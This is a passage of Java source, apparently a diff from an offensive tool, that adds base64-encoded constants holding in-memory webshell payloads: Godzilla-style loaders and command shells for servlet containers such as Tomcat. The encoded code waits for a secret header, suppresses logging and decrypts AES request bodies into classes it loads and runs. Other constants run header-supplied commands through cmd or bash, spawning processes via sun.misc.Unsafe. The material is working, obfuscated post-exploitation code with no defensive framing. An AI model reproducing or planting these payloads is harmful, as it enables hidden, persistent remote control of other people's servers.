JyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCkpOwoJCSAgICBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmTWV0aG9kICAgICAgPSBDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7CgkJICAgIGRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCSAgICBzdG9yZS5wdXQoInBheWxvYWQiLCAoQ2xhc3MpIGRlZk1ldGhvZC5pbnZva2UodXJsQ2xhc3NMb2FkZXIsIG5ldyBPYmplY3RbXXtkYXRhLCBJbnRlZ2VyLnZhbHVlT2YoMCksIEludGVnZXIudmFsdWVPZihkYXRhLmxlbmd0aCl9KSk7CgkgICAgfSBlbHNlIHsKCSAgICAJc3RvcmUucHV0KCJwYXJhbWV0ZXJzIiwgZGF0YSk7CgkJICAgIGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCSAgICBPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSAoKENsYXNzKSBzdG9yZS5nZXQoInBheWxvYWQiKSkubmV3SW5zdGFuY2UoKTsKCQkgICAgZi5lcXVhbHMoYXJyT3V0KTsKCQkgICAgZi5lcXVhbHMoZGF0YSk7CgkJICAgIHNiLmFwcGVuZChtZDUuc3Vic3RyaW5nKDAsIDE2KSk7CgkJICAgIGYudG9TdHJpbmcoKTsKCQkgICAgc2IuYXBwZW5kKGJhc2U2NEVuY29kZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSkpOwoJCSAgICBzYi5hcHBlbmQobWQ1LnN1YnN0cmluZygxNikpOwoJICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; + + public static String GODZILLA_RAW_SHELL = "ewoJT2JqZWN0IHJlcSAgPSAkMTsKCU9iamVjdCByZXNwID0gJDI7Cgl0cnkgewoJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCWlmICh2YWx1ZSAhPSBudWxsICYmIHZhbHVlLnRvU3RyaW5nKCkuY29udGFpbnMoSEVBREVSX1ZBTFVFKSkgewoJCQlub0xvZyhyZXEpOwoJCQlPYmplY3QgbGVuZ3RoID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXsiQ29udGVudC1MZW5ndGgifSk7CgkJCWJ5dGVbXSBkYXRhID0gbmV3IGJ5dGVbSW50ZWdlci5wYXJzZUludChsZW5ndGgudG9TdHJpbmcoKSldOwoJCQlqYXZhLmlvLklucHV0U3RyZWFtIGlucHV0U3RyZWFtID0gKGphdmEuaW8uSW5wdXRTdHJlYW0pIGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRJbnB1dFN0cmVhbSIsIG51bGwsIG51bGwpOwoJCQlpbnQgX251bSA9IDA7CiAgICAgICAgICAgIHdoaWxlICgoX251bSArPSBpbnB1dFN0cmVhbS5yZWFkKGRhdGEsIF9udW0sIGRhdGEubGVuZ3RoKSkgPCBkYXRhLmxlbmd0aCkgOwoJCQlkYXRhID0geChkYXRhLCBmYWxzZSk7CgoJCQlpZiAocGF5bG9hZCA9PSBudWxsKSB7CgkJCQlqYXZhLm5ldC5VUkxDbGFzc0xvYWRlciB1cmxDbGFzc0xvYWRlciA9IG5ldyBqYXZhLm5ldC5VUkxDbGFzc0xvYWRlcihuZXcgamF2YS5uZXQuVVJMWzBdLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgICAgIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJZGVmTWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQlwYXlsb2FkID0gKENsYXNzKSBkZWZNZXRob2QuaW52b2tlKHVybENsYXNzTG9hZGVyLCBuZXcgT2JqZWN0W117ZGF0YSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZGF0YS5sZW5ndGgpfSk7CgkJCX0gZWxzZSB7CgkJCQlqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBhcnJPdXQgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIGYgICAgICA9IHBheWxvYWQubmV3SW5zdGFuY2UoKTsKCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQlmLmVxdWFscyhkYXRhKTsKCQkJCWYudG9TdHJpbmcoKTsKCQkJCU9iamVjdCBvcyA9IGdldE1ldGhvZEFuZEludm9rZShyZXNwLCAiZ2V0T3V0cHV0U3RyZWFtIiwgbnVsbCwgbnVsbCk7CgkJCQlnZXRNZXRob2RBbmRJbnZva2Uob3MsICJ3cml0ZSIsIG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzc30sIG5ldyBPYmplY3RbXXt4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKX0pOwoJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKG9zLCAiZmx1c2giLCBudWxsLCBudWxsKTsKCQkJCWdldE1ldGhvZEFuZEludm9rZShvcywgImNsb3NlIiwgbnVsbCwgbnVsbCk7CgkJCX0KCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQp9"; + + public static String GODZILLA_RAW_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCUNsYXNzTG9hZGVyICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlciAgICAgID0gdGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCk7CgkJU3RyaW5nIHBhdGhQYXR0ZXJuID0gIiVzIjsKCQlpZiAocmVxdWVzdC5nZXRSZXF1ZXN0VVJJKCkuY29udGFpbnMocGF0aFBhdHRlcm4pKSB7CgkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiJXMiKS5lcXVhbHMoIiVzIikpIHsKCQkJCXRyeSB7CgkJCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgIGtleSAgICAgICAgPSAiJXMiOwoJCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uICAgICA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpOwoJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICBsZW5ndGggICAgICA9IHJlcXVlc3QuZ2V0SGVhZGVyKCJDb250ZW50LUxlbmd0aCIpOwoJCQkJCWJ5dGVbXSAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhICAgICAgICA9IG5ldyBieXRlW0ludGVnZXIucGFyc2VJbnQobGVuZ3RoKV07CgkJCQkJamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICAgIGlucHV0U3RyZWFtID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJCWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICBfbnVtICAgICAgICA9IDA7CgkJCQkJd2hpbGUgKChfbnVtICs9IGlucHV0U3RyZWFtLnJlYWQoZGF0YSwgX251bSwgZGF0YS5sZW5ndGgpKSA8IGRhdGEubGVuZ3RoKSA7CgkJCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCQkJYy5pbml0KDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKGtleS5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCVN5c3RlbS5vdXQucHJpbnRsbihkYXRhKTsKCQkJCQlkYXRhID0gYy5kb0ZpbmFsKGRhdGEpOwoJCQkJCVN5c3RlbS5vdXQucHJpbnRsbigxKTsKCQkJCQlpZiAoc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoImd6cmF3IikgPT0gbnVsbCkgewoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmaW5lTWV0aG9kID0gamF2YS5sYW5nLkNsYXNzTG9hZGVyLmNsYXNzLmdldERlY2xhcmVkTWV0aG9kKCJkZWZpbmVDbGFzcyIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzcywgamF2YS5uaW8uQnl0ZUJ1ZmZlci5jbGFzcywgamF2YS5zZWN1cml0eS5Qcm90ZWN0aW9uRG9tYWluLmNsYXNzfSk7CgkJCQkJCWRlZmluZU1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5Db25zdHJ1Y3RvciBjb25zdHJ1Y3RvciA9IGphdmEuc2VjdXJpdHkuU2VjdXJlQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcihuZXcgQ2xhc3NbXXtqYXZhLmxhbmcuQ2xhc3NMb2FkZXIuY2xhc3N9KTsKCQkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJamF2YS5sYW5nLkNsYXNzTG9hZGVyIGNsICAgID0gKGphdmEubGFuZy5DbGFzc0xvYWRlcikgY29uc3RydWN0b3IubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde2xvYWRlcn0pOwoJCQkJCQlqYXZhLmxhbmcuQ2xhc3MgICAgICAgY2xhenogPSAoamF2YS5sYW5nLkNsYXNzKSBkZWZpbmVNZXRob2QuaW52b2tlKChqYXZhLmxhbmcuT2JqZWN0KSBjbCwgbmV3IE9iamVjdFtde251bGwsIGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChkYXRhKSwgbnVsbH0pOwoJCQkJCQlzZXNzaW9uLnNldEF0dHJpYnV0ZSgiZ3pyYXciLCBjbGF6eik7CgoJCQkJCQlTeXN0ZW0ub3V0LnByaW50bG4oY2xhenouZ2V0TmFtZSgpKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBhcnJPdXQgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgICAgICAgICAgZiAgICAgID0gKChDbGFzcykgc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoImd6cmF3IikpLm5ld0luc3RhbmNlKCk7CgkJCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQkJCWYuZXF1YWxzKGRhdGEpOwoJCQkJCQlmLnRvU3RyaW5nKCk7CgoJCQkJCQlqYXZheC5zZXJ2bGV0LlNlcnZsZXRPdXRwdXRTdHJlYW0gcmVzcCA9IHJlc3BvbnNlLmdldE91dHB1dFN0cmVhbSgpOwoJCQkJCQljLmluaXQoMSwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoa2V5LmdldEJ5dGVzKCksICJBRVMiKSk7CgoJCQkJCQlyZXNwLndyaXRlKGMuZG9GaW5hbChhcnJPdXQudG9CeXRlQXJyYXkoKSkpOwoJCQkJCQlyZXNwLmZsdXNoKCk7CgkJCQkJCXJlc3AuY2xvc2UoKTsKCQkJCQl9CgkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJfQoJCQkJcmV0dXJuOwoJCQl9CgkJfQ=="; + + public static String CMD_SHELL_FOR_TOMCAT = "ewoJT2JqZWN0IHJlcSAgPSAkMTsKCU9iamVjdCByZXNwID0gJDI7CglPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxOwoJT2JqZWN0IGxhc3RSZXNwb25zZSA9IHJlc3A7Cgl0cnkgewoJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCWlmICh2YWx1ZSAhPSBudWxsICYmIHZhbHVlLnRvU3RyaW5nKCkuY29udGFpbnMoSEVBREVSX1ZBTFVFKSkgewoJCQl0cnkgewoJCQkJQ2xhc3MgcmVxdWVzdEZhY2FkZUNsYXNzICA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUiLCB0cnVlLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJQ2xhc3MgcmVzcG9uc2VGYWNhZGVDbGFzcyA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlIiwgdHJ1ZSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7CgoJCQkJaWYgKCEocmVzcG9uc2VGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXNwb25zZS5nZXRDbGFzcygpKSkpIHsKCQkJCQlsYXN0UmVzcG9uc2UgPSBnZXRNZXRob2RBbmRJbnZva2UocmVzcCwgImdldFJlc3BvbnNlIiwgbnVsbCwgbnVsbCk7CgkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJaWYgKHJlc3BvbnNlRmFjYWRlQ2xhc3MuaXNBc3NpZ25hYmxlRnJvbShsYXN0UmVzcG9uc2UuZ2V0Q2xhc3MoKSkpIGJyZWFrOwoJCQkJCQlsYXN0UmVzcG9uc2UgPSBnZXRNZXRob2RBbmRJbnZva2UobGFzdFJlc3BvbnNlLCAiZ2V0UmVzcG9uc2UiLCBudWxsLCBudWxsKTsKCQkJCQl9CgkJCQl9CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCX0KCQkJbm9Mb2cocmVxKTsKCgkJCU9iamVjdCBoZWFkZXIgPSBnZXRNZXRob2RBbmRJbnZva2UocmVxLCAiZ2V0SGVhZGVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde0NNRF9IRUFERVJ9KTsKCQkJT2JqZWN0IHdyaXRlciA9IGdldE1ldGhvZEFuZEludm9rZShyZXNwLCAiZ2V0V3JpdGVyIiwgbnVsbCwgbnVsbCk7CgoJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgIWhlYWRlci50b1N0cmluZygpLmlzRW1wdHkoKSkgewoJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgIndyaXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde25ldyBTdHJpbmcoZXhlY0NtZChoZWFkZXIudG9TdHJpbmcoKSkudG9CeXRlQXJyYXkoKSl9KTsKCQkJfQoKCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgImZsdXNoIiwgbnVsbCwgbnVsbCk7CgkJCWdldE1ldGhvZEFuZEludm9rZSh3cml0ZXIsICJjbG9zZSIsIG51bGwsIG51bGwpOwoJCX0KCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7Cgl9Cn0="; + + public static String CMD_SHELL = "ewoJCQlPYmplY3QgcmVxICAgICA9ICQxOwoJCQlPYmplY3QgcmVzcCAgICA9ICQyOwoJCQlPYmplY3QgdmFsdWUgPSBnZXRNZXRob2RBbmRJbnZva2UocmVxLCAiZ2V0SGVhZGVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde0hFQURFUl9LRVl9KTsKCQkJaWYgKHZhbHVlICE9IG51bGwgJiYgdmFsdWUudG9TdHJpbmcoKS5jb250YWlucyhIRUFERVJfVkFMVUUpKSB7CgkJCQlPYmplY3QgaGVhZGVyID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtDTURfSEVBREVSfSk7CgkJCQlPYmplY3Qgd3JpdGVyID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlc3AsICJnZXRXcml0ZXIiLCBudWxsLCBudWxsKTsKCgkJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgIWhlYWRlci50b1N0cmluZygpLmlzRW1wdHkoKSkgewoJCQkJCWdldE1ldGhvZEFuZEludm9rZSh3cml0ZXIsICJ3cml0ZSIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtuZXcgU3RyaW5nKGV4ZWNDbWQoaGVhZGVyLnRvU3RyaW5nKCkpLnRvQnl0ZUFycmF5KCkpfSk7CgkJCQl9CgoJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgImZsdXNoIiwgbnVsbCwgbnVsbCk7CgkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAiY2xvc2UiLCBudWxsLCBudWxsKTsKCQkJfQoJCX0="; + + public static String CMD_SHELL_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhdGhQYXR0ZXJuID0gIiVzIjsKCQlpZiAocmVxdWVzdC5nZXRSZXF1ZXN0VVJJKCkuY29udGFpbnMocGF0aFBhdHRlcm4pKSB7CgkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiJXMiKS5lcXVhbHMoIiVzIikpIHsKCQkJCXRyeSB7CgkJCQkJU3RyaW5nIGNtZCA9IHJlcXVlc3QuZ2V0SGVhZGVyKCIlcyIpOwoJCQkJCWlmIChjbWQgIT0gbnVsbCAmJiAhIiIuZXF1YWxzKGNtZCkpIHsKCgkJCQkJCXN1bi5taXNjLlVuc2FmZSB1bnNhZmUgPSBudWxsOwoJCQkJCQl0cnkgewoJCQkJCQkJaWYgKENsYXNzLmZvck5hbWUobmV3IFRocm93YWJsZSgpLmdldFN0YWNrVHJhY2UoKVsxXS5nZXRDbGFzc05hbWUoKSkuZ2V0Q2xhc3NMb2FkZXIoKSA9PSBudWxsKSB7CgkJCQkJCQkJdW5zYWZlID0gc3VuLm1pc2MuVW5zYWZlLmdldFVuc2FmZSgpOwoJCQkJCQkJfQoJCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCQl9CgoJCQkJCQlpZiAodW5zYWZlID09IG51bGwpIHsKCQkJCQkJCXRyeSB7CgkJCQkJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7CgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOwoJCQkJCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoKCQkJCQkJaWYgKHVuc2FmZSA9PSBudWxsKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCUNsYXNzICAgICAgICAgICAgICAgICAgIG5ldHR5Q2xhc3MgPSBDbGFzcy5mb3JOYW1lKCJpby5uZXR0eS51dGlsLmludGVybmFsLnNoYWRlZC5vcmcuamN0b29scy51dGlsLlVuc2FmZUFjY2VzcyIpOwoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkICAgICAgPSBuZXR0eUNsYXNzLmdldERlY2xhcmVkRmllbGQoIlVOU0FGRSIpOwoJCQkJCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoKCQkJCQkJaWYgKHVuc2FmZSA9PSBudWxsKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIHRoZVVuc2FmZUZpZWxkID0gc3VuLm1pc2MuVW5zYWZlLmNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOwoJCQkJCQkJCXRoZVVuc2FmZUZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgdGhlVW5zYWZlRmllbGQuZ2V0KG51bGwpOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoKCQkJCQkJU3RyaW5nW10gICAgICAgICAgICAgICAgICAgICAgY21kcyAgICAgICAgICA9IG51bGw7CgkJCQkJCUNsYXNzICAgICAgICAgICAgICAgICAgICAgICAgIHByb2Nlc3NDbGFzcyAgPSBudWxsOwoJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyAgICAgICAgICA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJCQlpZiAoU3lzdGVtLmdldFByb3BlcnR5KCJvcy5uYW1lIikudG9Mb3dlckNhc2UoKS5jb250YWlucygid2luIikpIHsKCQkJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJCQlwcm9jZXNzQ2xhc3MgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuUHJvY2Vzc0ltcGwiKTsKCQkJCQkJCXByb2Nlc3NPYmplY3QgPSB1bnNhZmUuYWxsb2NhdGVJbnN0YW5jZShwcm9jZXNzQ2xhc3MpOwoJCQkJCQkJbG9uZ1tdICAgICAgICAgICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQkJCWphdmEuaW8uRmlsZURlc2NyaXB0b3Igc3Rkb3V0X2ZkICA9IG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCk7CgkJCQkJCQlTdHJpbmdCdWlsZGVyICAgICAgICAgIHNiICAgICAgICAgPSBuZXcgU3RyaW5nQnVpbGRlcigpOwoKCQkJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQkJCXNiLmFwcGVuZChjbWRzW2ldKS5hcHBlbmQoIiAiKTsKCQkJCQkJCX0KCgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QyID0gcHJvY2Vzc09iamVjdC5nZXRDbGFzcygpLmdldERlY2xhcmVkTWV0aG9kKCJjcmVhdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDIuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtzYi50b1N0cmluZygpLnRyaW0oKSwgbnVsbCwgbnVsbCwgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0UsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCksIHN0ZG91dF9mZCwgbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKX0pOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZE1ldGhvZCgiY3JlYXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgbG9uZ1tdLmNsYXNzLCBib29sZWFuLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJT2JqZWN0IGhhbmRsZSA9IG1ldGhvZC5pbnZva2UocHJvY2Vzc09iamVjdCwgbmV3IE9iamVjdFtde3NiLnRvU3RyaW5nKCkudHJpbSgpLCBudWxsLCBudWxsLCBzdGRIYW5kbGVzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCWZpZWxkLnNldChwcm9jZXNzT2JqZWN0LCBoYW5kbGUpOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDEgPSBwcm9jZXNzT2JqZWN0LmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgiZmRBY2Nlc3MiKTsKCQkJCQkJCQlmaWVsZDEuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCQlPYmplY3QgZmRBY2Nlc3MgPSBmaWVsZDEuZ2V0KHByb2Nlc3NPYmplY3QpOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kMiA9IGZkQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRNZXRob2QoInNldEhhbmRsZSIsIG5ldyBDbGFzc1tde2phdmEuaW8uRmlsZURlc2NyaXB0b3IuY2xhc3MsIGxvbmcuY2xhc3N9KTsKCQkJCQkJCQltZXRob2QyLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJbWV0aG9kMi5pbnZva2UoZmRBY2Nlc3MsIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCQkJfQoJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQyID0gcHJvY2Vzc0NsYXNzLmdldERlY2xhcmVkRmllbGQoInN0ZG91dF9zdHJlYW0iKTsKCQkJCQkJCWZpZWxkMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJZmllbGQyLnNldChwcm9jZXNzT2JqZWN0LCBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKG5ldyBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbShzdGRvdXRfZmQpKSk7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQljbWRzID0gbmV3IFN0cmluZ1tdeyIvYmluL2Jhc2giLCAiLWMiLCBjbWR9OwoJCQkJCQkJcHJvY2Vzc0NsYXNzID0gQ2